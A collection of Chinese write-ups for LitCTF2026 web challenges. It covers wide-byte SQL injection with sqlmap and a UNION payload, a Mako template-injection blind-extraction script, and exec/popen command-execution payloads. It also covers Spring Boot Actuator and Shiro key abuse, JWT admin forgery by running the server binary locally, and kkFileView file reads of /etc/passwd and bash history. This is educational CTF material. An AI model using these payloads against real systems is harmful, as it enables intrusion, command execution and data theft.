[LitCTF2026] lit_ezsql
题目
注注注!
解
',",)轮番上阵都没报错
常规or语句和双写也没成功
查询1
| id | name | col2 | col3 | col4 |
|---|---|---|---|---|
| 1 | alice | visitor | none | none |
查询2
| id | name | col2 | col3 | col4 |
|---|---|---|---|---|
| 2 | bob | visitor | none | none |
其他基本都无查询结果
但是查询
2abc
21
2'
会回显bob,也就是说,后面的部分应该没有正常直接拼接进语句
玄网安全的师傅wp中提到了一个合理的推断(不然就得盲猜宽字节注入)
https://mp.weixin.qq.com/s/d8MbcXiWcWWVVOD6aptevQ
关键突破点是发现调试参数:
/query?id=1&debug=1
访问/query?id=2&debug=1

SELECT
`id`,`name`,`col2`,`col3`,`col4`
FROM
`ezsql`.`users`
WHERE
id='2'
LIMIT 50
尝试/query?id=2’&debug=1
变成了
WHERE id='2\''
可以发现,之前的方法没有触发报错是因为反斜杠转义
一般反斜杠转义的情况就考虑宽字节注入
sqlmap
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" --tamper=unmagicquotes --delay=0.5 --dbs --batch
available databases [2]:
[*] ezsql
[*] information_schema
python sqlmap.py -u "http://challenge.cyclens.tech:32234/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5 --batch
+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{89fct4ds-4tm6-4hp-8u1v-ay37y9kc2fwjy} |
+--------------------------------------------+
手注
回顾宽字节注入原理
利用数据库字符集(如GBK、GB2312、BIG5等)中,反斜杠 \ 的URL编码 %5c 与前一个字符(如 %df、%e5、%bf 等)组合成一个合法多字节字符,从而“吃掉”转义符,让后面的单引号 ' 逃逸出来
使用短payload验证一下
1%df'
关键点:在 GBK编码 下:
%df(ß的GBK高位字节) +%5c(反斜杠) =%df%5c被解析为一个汉字字符“運”- 原本的转义符
\被“吸收”进了这个汉字,不再具有转义功能 - 剩下的单引号
'成功逃逸,可以闭合字符串
最终payload
1%df' UNION SELECT 1,2,3,4,group_concat(flag) FROM flag_store--+
反思
花了十几分钟没手搓出来故放弃,宽字节注入其实刚入门CTF时候就在pikachu靶场遇到了,但是当时没怎么注意,也一直没遇到这个考点,知识储备不够广吧
[LitCTF2026] lit_ezssti
题目
缺什么补什么(x

解
别真以为很简单,直接讲复盘时候总结的正常思路
SSTI由于平时遇到的都是jinja2的模板注入,忽略了其他模板

(上面图片来自 https://www.cnblogs.com/lx207/articles/18958248 )
总结一下如何确定模板

按这个顺序最稳:
1. {{7*7}}
2. ${7*7}
3. <%=7*7%>
4. \#{7*7}
5. [[7*7]]
6. % 或 % if 1:
常见指纹如下:
| 现象 | 大概率模板 |
|---|---|
| SyntaxException: Invalid control line | Mako |
| jinja2.exceptions… | Jinja2 |
| Twig\Error… | Twig |
| EJS、ejs.js、Unexpected token %> | EJS |
| ERB、ActionView::Template::Error | ERB / Rails |
| FreeMarker、freemarker.core… | FreeMarker |
| Thymeleaf、SpEL | Thymeleaf |
| template parsing error + {{.}} 风格 | Go template |
前面的参数都没有什么有价值的特征
但是传入%的时候,触发了报错,而且是Mako的特征
验证 payload:
% if True:
OK
% endif
返回结果是:
OK
这一步可以正式确认Mako模板
但是经测试,存在较严格的过滤
() [] '' = flag 等
盲注
paylaod:
% for line in open('/fla'+'g'):
% if '<probe>' in line:
YES
% endif
% endfor
依次尝试
若真,回显YES;若假,无回显
#!/usr/bin/env python3
import argparse
import re
import string
import sys
from typing import Optional
import requests
OUT_RE = re.compile(r'<pre id="out">([\s\S]*?)</pre>')
def to_concat_expr(text: str) -> str:
# Build "'f'+'l'+'a'+'g'" style expression to avoid raw keyword filters.
parts = []
for ch in text:
if ch == "'":
parts.append('"\'"')
else:
parts.append(f"'{ch}'")
return "+".join(parts)
def hit(url: str, candidate: str, timeout: float = 10.0) -> Optional[bool]:
candidate_expr = to_concat_expr(candidate)
payload = (
"% for line in open('/fla'+'g'):\n"
f"% if {candidate_expr} in line:\n"
"YES\n"
"% endif\n"
"% endfor"
)
try:
resp = requests.post(
url,
data={"tpl": payload},
timeout=timeout,
)
except requests.RequestException:
return None
m = OUT_RE.search(resp.text)
if not m:
return None
out = m.group(1).strip()
if out == "WAF":
return False
return "YES" in out
def extract_flag(
url: str,
prefix: str,
charset: str,
max_len: int,
timeout: float,
) -> str:
cur = prefix
for _ in range(max_len):
found = False
for ch in charset:
cand = cur + ch
ok = hit(url, cand, timeout=timeout)
if ok is None:
print(f"[!] Request/parse failed on candidate: {cand}", file=sys.stderr)
continue
if ok:
cur = cand
print(f"[+] {cur}")
found = True
if cur.endswith("}"):
return cur
break
if not found:
return cur
return cur
def main() -> None:
parser = argparse.ArgumentParser(description="Blind Mako SSTI flag extractor")
parser.add_argument(
"--url",
default="http://challenge.cyclens.tech:32340/",
help="Target URL",
)
parser.add_argument(
"--prefix",
default="flag{",
help="Initial prefix to expand",
)
parser.add_argument(
"--max-len",
type=int,
default=80,
help="Maximum chars to append after prefix",
)
parser.add_argument(
"--charset",
default=string.ascii_letters + string.digits + "{}_-",
help="Charset used during brute force",
)
parser.add_argument(
"--timeout",
type=float,
default=10.0,
help="HTTP timeout seconds",
)
args = parser.parse_args()
print(f"[*] Target: {args.url}")
print(f"[*] Prefix: {args.prefix}")
print(f"[*] Charset length: {len(args.charset)}")
result = extract_flag(
url=args.url,
prefix=args.prefix,
charset=args.charset,
max_len=args.max_len,
timeout=args.timeout,
)
print(f"[=] Result: {result}")
if __name__ == "__main__":
main()
python E:\cod\mako_blind_flag_extractor.py --url http://challenge.cyclens.tech:32340/ --prefix "flag{" --max-len 80
flag{hhqmzcmj-eupe-4yg-8xis-hrhhvxrzxbpsa}
绕过
已知以下内容被拦截
context.write
os.popen
我们可以想办法绕过
getattr(context, "write")
getattr(__import__("os"), "popen")
目标
exec("import os\n"
"getattr(context, 'write')("
"getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')()"
")")
执行逻辑:
- exec(…) 执行拼好的 Python 代码。
- import(‘os’) 拿到 os 模块。
- getattr(…, ‘popen’)(‘cat /f*’) 执行命令。
- getattr(…, ‘read’)() 读取命令输出。
- getattr(context, ‘write’)(…) 把输出写到 HTTP 响应。
外部嵌套一个<% %>使内容作为python运行
验证可行性
<% exec("getattr(context, 'write')('hello')") %>
拿flag
<% exec("getattr(context, 'write')(getattr(open('/fla'+'g'), 'read')())") %>
<% exec("import os\ngetattr(context, 'write')(getattr(getattr(__import__('os'), 'popen')('cat /f*'), 'read')())") %>
反思
题目到此为止了
我们继续读取其他文件
找到了/app/app/routes.py 和 /app/app/waf.py但是直接读取会被过滤,使用通配符
/app/app/routes.py
from __future__ import annotations
import html
from flask import Blueprint, jsonify, render_template, request
from mako.template import Template
from app.waf import apply_waf
bp = Blueprint("main", __name__)
def _render_ctx() -> dict:
return {}
def _plain(s: object) -> str:
if s is None:
return ""
return html.unescape(str(s))
@bp.route("/", methods=["GET", "POST"])
def index():
echo = ""
raw = ""
if request.method == "POST":
raw = request.form.get("tpl", "") or ""
body, err = apply_waf(raw)
if err is not None:
echo = err
else:
try:
tpl = Template(body)
echo = _plain(tpl.render(**_render_ctx()))
except Exception as e: # noqa: BLE001
echo = f"[渲染异常] {type(e).__name__}: {e}"
return render_template("index.html", echo=echo, raw=raw)
@bp.get("/healthz")
def healthz():
return jsonify({"ok": True})
/app/app/waf.py
"""题目 WAF:同时禁止 `${` 与 ASCII 点号 `.`(fenjing 梗:拆表达式、别用点属性)。"""
def apply_waf(raw: str) -> tuple[str | None, str | None]:
"""
Returns (template_to_render, error_message).
If blocked, (None, user-visible message).
"""
banlist = ["${", ".", "=","flag","[","]"]
for item in banlist:
if item in raw:
return None, "WAF"
return raw, None
处理顺序
输入
request.form.get("tpl", "") #得到url编码后的字符串
apply_waf(raw) #过滤黑名单
tpl = Template(body)
echo = tpl.render(**_render_ctx()) #创建一个 Mako 模板对象并渲染
html.unescape(str(s)) #html解码
render_template("index.html", echo=echo, raw=raw) #jinja2渲染
依旧是曾经遇到的东西没重视,知识面不够广
fenjing主要面向Jinja/Flask,而且黑名单过滤较严格,没办法一把梭
[LitCTF2026] 华辰企业服务运营平台
前置知识点
Spring Boot 的 Actuator 是运维监控模块,提供了一堆健康检查、配置查询接口:
┌───────────────────────┬─────────────────────────────────────┬────────┐
│ 端点 │ 功能 │ 危险性 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/health │ 健康检查 │ 低 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/info │ 应用信息 │ 低 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/env │ 所有环境变量、配置项 │ 极高 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/mappings │ 所有路由映射 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/heapdump │ JVM │ 极高 │
│ │ 堆快照(含内存中所有变量、密码) │ │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/configprops │ 配置项 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/loggers │ 日志级别 │ 中 │
├───────────────────────┼─────────────────────────────────────┼────────┤
│ /actuator/threaddump │ 线程栈 │ 中 │
└───────────────────────┴─────────────────────────────────────┴────────┘
题目描述
某客服工单系统上线后,保留了大量运维与调试能力。
你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag
提示: 历史归档备注 -> 历史归档备注(flag2)
解
查看源码没有什么重要发现
扫目录发现一堆

环境变量
访问/actuator/env,找到flag

隐私泄露
访问/actuator/heapdump下载
直接搜flag{

shiro漏洞利用(脚本小子)
先查看源码,有/js/index.js我们查看下
async function loadHomeData() {
const banner = await fetch('/api/public/banner').then(r => r.json());
document.getElementById('bannerPanel').innerHTML = `
<h2>${banner.title}</h2>
<p>${banner.subtitle}</p>
<p class="muted">å¹³å°å®šä½ï¼šå®¢æˆ·æœåŠ¡æ ‡å‡†åŒ–ã€æµç¨‹å¯è¿½æº¯ã€å®¡è®¡å¯é—环。</p>
`;
const news = await fetch('/api/public/news').then(r => r.json());
document.getElementById('newsPanel').innerHTML = `
<h2>ä¼ä¸šå…¬å‘Š</h2>
<ul>${news.items.map(i => `<li>${i}</li>`).join('')}</ul>
`;
}
loadHomeData();
index.js 调了:
- GET /api/public/banner
- GET /api/public/news
const form = document.getElementById('loginForm');
const result = document.getElementById('result');
form.addEventListener('submit', async (e) => {
e.preventDefault();
const payload = {
username: document.getElementById('username').value.trim(),
password: document.getElementById('password').value,
rememberMe: document.getElementById('rememberMe').checked
};
const resp = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
}).then(r => r.json());
result.textContent = JSON.stringify(resp, null, 2);
if (resp.ok) {
setTimeout(() => {
window.location.href = '/dashboard';
}, 600);
}
});
login.js 调了:
- POST /api/auth/login,body 是 JSON:
gpt说到这里能猜出后端是个 Java Spring Boot 风格的 REST API(/api/… 路径 +
JSON)。
抓个包
{"username":"user","password":"111","rememberMe":true}
还真有"rememberMe":true难道是Apache Shiro?
提到shiro
- 可能是 Shiro 反序列化(CVE-2016-4437 / CVE-2020-1957 / CVE-2020-11989 /
CVE-2022-32532) - 可能存在 Shiro 鉴权绕过
在环境变量中拿到
"LAB_SHIRO_KEY_B64": {
"value": "R1pDVEZTaGlyb0dDTUtleQ==",
"origin": "System Environment Property \"LAB_SHIRO_KEY_B64\""
},
使用shiro漏洞工具

根目录下拿到flag1
env中有flag2,拼接一下拿到完整flag
这只是简单的工具利用shiro
还有一种手搓shiro提权的方法,但我不会java….
[LitCTF2026] lit_reverse_my_web
逆向还是不蒸了吧
逆向那secret伪造token去访问/flag
贴一下gpt的
- 首轮侦察
1.1 远端页面
首页看起来像一个普通的内部业务系统:
/
/login
/register
/static/style.css
注册页和登录页都很正常,表单里只有 username 和 password。
页面文案里有一个关键信息:
提交后由相关部门在后台审核,通常 1-3 个工作日内开通
这说明账号体系里很可能存在"审核状态"或"角色权限"逻辑。
1.2 最小功能验证
先注册一个普通账号:
返回 303 See Other,说明注册成功。
再登录:
可以拿到 JWT,说明站点确实用 token 做鉴权。 - 为什么要逆二进制
压缩包里只有一个文件:
这是最强的提示。
如果是普通 Web 题,通常会给源码、前端资源、接口文档,或者至少能通过页面直接看出明显漏洞;这里只有编译
产物,说明出题人希望我们从服务端程序里反推真实逻辑。
也就是说,这题的正确方向不是盲猜接口,而是逆:
路由
认证
授权
数据库结构
curl.exe -i -d “username=testuser123&password=testpass123”
http://challenge.cyclens.tech:31272/register
curl.exe -i -H “Accept: application/json” -d “username=testuser123&password=testpass123”
http://challenge.cyclens.tech:31272/login
server.exe
隐藏功能 - 二进制里的关键证据
3.1 handler 符号
字符串提取后,能直接看到这些符号:
这已经把核心逻辑暴露出来了:
注册
登录
/flag
JWT 签发
JWT 解析
3.2 模板片段
还能提取到模板片段:
这说明:
登录状态由 .LoggedIn 控制
页面上确实有 /flag 链接
只有满足条件的用户才能看到它
3.3 JWT 相关信息
二进制里还有这些关键字符串:
main.(*app).handleRegister
main.(*app).handleLogin
main.(*app).handleFlag
main.(*app).handleLogout
main.(*app).signJWT
main.(*app).parseToken
{{if .LoggedIn}}
{{.User}}
github.com/golang-jwt/jwt/v5 main.claims json:“role” json:“iss,omitempty” reverseMyWeb/internal/jwtsecret.Key main.(*app).signJWT main.(*app).parseToken 这说明: 服务端使用 golang-jwt/jwt/v5 自定义 claims 里有 role 还有单独的 JWT 密钥模块 3.4 数据库结构 还能直接看到 SQLite 建表语句和查询语句: 以及: 这组信息非常关键。 它说明: 新注册用户默认角色是 user 登录时会读取数据库里的 role 这个 role 很可能会被写进 JWT 4. 验证 JWT 结构 登录时请求 JSON,可以直接拿到 token: 解码后,payload 大致如下: 可以确认: 算法是 HS256 CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL UNIQUE, password_hash BLOB NOT NULL, role TEXT NOT NULL DEFAULT ‘user’ ); SELECT password_hash, role FROM users WHERE username = ? INSERT INTO users (username, password_hash, role) VALUES (?, ?, ‘user’) curl.exe -i -H “Accept: application/json” -d “username=testuser123&password=testpass123” http://challenge.cyclens.tech:31272/login { “role”: “user”, “iss”: “reverseMyWeb”, “sub”: “testuser123”, “exp”: 1779596977, “iat”: 1779510577 } iss 固定为 reverseMyWeb sub 是用户名 role 的确写进了 JWT 5. 验证 /flag 的权限控制 把普通用户 token 带到 /flag: 返回: 这一步说明: Authorization: Bearer 是有效携带方式 /flag 确实做了权限判断 普通用户权限不够 我还验证了 cookie 形式: 同样能被服务端识别。 6. 不直接爆破 JWT secret 的原因 看到 HS256 的第一反应通常是去找密钥。 但这题更优雅的路径是: 本地复现同一份服务,让原程序自己签发管理员 JWT 这样不需要硬抠密钥,也不需要猜签名值。 7. 本地复现服务 7.1 启动时的报错 直接运行 server.exe,最开始报错: 这不是内存真坏了,而是 SQLite 打开数据库路径失败。 从二进制字符串里可以提取到数据库 DSN: curl.exe -i -H “Authorization: Bearer " http://challenge.cyclens.tech:31272/flag HTTP/1.1 403 Forbidden 您暂无此资源的访问权限 curl.exe -i -H “Cookie: token=” http://challenge.cyclens.tech:31272/flag unable to open database file: out of memory (14) /tmp/reversemyweb.db?_pragma=busy_timeout(5000)&_fk=1 说明程序要把数据库放在一个临时路径里。 后来我创建了本地临时目录后,服务成功启动并监听在 :80。 7.2 本地数据库文件 服务启动后,数据库文件出现在: 8. 本地注册和登录 先在本地注册一个用户: 然后登录: 这样可以得到本地程序签发的 JWT。 9. 直接修改本地 role 因为 SQLite 表结构已经清楚了,所以最简单的做法就是直接改 users.role。 示例: 然后重新登录,让原程序签发一枚新的 token。 10. 确认正确的高权限角色 为了不盲猜,我在本地做了一轮角色测试。 流程是: 1. 修改 users.role 2. 本地登录拿 token 3. 用 token 访问本地 /flag 4. 看状态码 E:\tmp\reversemyweb.db curl.exe -i -H “Accept: application/json” -d “username=localprobe&password=localpass123” http://127.0.0.1/register curl.exe -i -H “Accept: application/json” -d “username=localprobe&password=localpass123” http://127.0.0.1/login import sqlite3 conn = sqlite3.connect(r"E:\tmp\reversemyweb.db”) conn.execute( “update users set role=? where username=?”, (“admin”, “localprobe”) ) conn.commit() 测试结果: root -> 403 manager -> 403 auditor -> 403 reviewer -> 403 operator -> 403 admin -> 不再是 403,而是进入更深层逻辑并触发 500 这说明: admin 能通过 /flag 的权限判断 本地 500 只是因为本地没有远端真实 flag 资源 所以真正需要的角色就是 admin。 11. 生成管理员 JWT 把本地用户改成 admin 后重新登录,拿到的 JWT payload 变成: 重点不是 token 字符串本身,而是: 这是原程序签出来的 签名合法 iss 和远端一致 唯一变化是 role=admin 12. 打远端 /flag 拿管理员 JWT 访问远端: 返回: 我还验证了 cookie 形式: { “role”: “admin”, “iss”: “reverseMyWeb”, “sub”: “localprobe”, “exp”: 1779597158, “iat”: 1779510758 } curl.exe -i –max-time 15 -H “Authorization: Bearer " http://challenge.cyclens.tech:31272/flag HTTP/1.1 200 OK flag{lj7xmbvz-xtqy-4yp-8q7t-7brghcvoak2fq} 返回相同结果。 13. 二次验证 为了避免拿到缓存值、误读值或截断值,我做了两次验证: 13.1 重复请求 连续请求 /flag 两次,返回完全一致: 13.2 两种携带方式 使用下面两种方式都能稳定拿到 flag: Authorization: Bearer Cookie: token= 因此可以确认 flag 正确。 14. 完整利用链 完整思路如下: 1. 侦察远端页面 2. 发现附件只有编译后的 server.exe 3. 从二进制中恢复 handler 名称、JWT 逻辑和 SQL 结构 4. 确认 JWT 中包含 role 5. 确认普通用户拿到的是 role=user 6. 确认 /flag 对普通用户返回 403 7. 本地复现服务 8. 找到本地 SQLite 数据库 9. 把本地用户角色改成 admin 10. 重新登录,让原程序签发合法管理员 JWT 11. 用这枚 JWT 访问远端 /flag 12. 读取 flag
[LitCTF2026] Northbridge Document Hub
题目
解
查看源码,访问/assets/js/portal.js
(function () {
var bootstrap = {
release: "2026.03.01-r12",
region: "cn-sh2",
auth: {
mode: "legacy-fallback",
// researcher:Research#2026
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
},
fileGateway: {
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
node: "legacy-parse-02"
}
};
window.NorthbridgePortal = {
config: bootstrap,
decodeLegacyCredential: function () {
try {
return atob(bootstrap.auth.seed);
} catch (e) {
return "";
}
}
};
var form = document.querySelector("form[data-auth='portal']");
if (form) {
form.addEventListener("submit", function () {
form.classList.add("is-submitting");
});
}
})();
发现一个疑似读取文件的路径
path: "/kkfileview/getCorsFile",
queryKey: "urlPath",
发现种子
seed: "cmVzZWFyY2hlcjpSZXNlYXJjaCMyMDI2"
base64解码就是上行的注释….
researcher:Research#2026
没想到这就是密码….
researcher / Research#2026
登录
访问刚刚疑似读取文件的路径
/kkfileview/getCorsFile?urlpath=
啥也读不出来,原来需要base64编码
读取/etc/passwd
改为file:///etc/passwd
base64编码得
ZmlsZTovLy9ldGMvcGFzc3dk
GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk
尝试访问/root/.bash_history
/root/.bash_history 是 Linux 系统中 root 用户的操作命令历史记录文件。
cd /opt/kkfileview/bin
./startup.sh --cache.dir=/opt/kkfileview/cache/parsed
java -jar kkFileView.jar --cache.dir=/opt/kkfileview/cache/parsed --forceUpdatedCache=true
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
下载file:///opt/kkfileview/cache/parsed/q1_finance_report_2026.zip
解压拿到flag.txt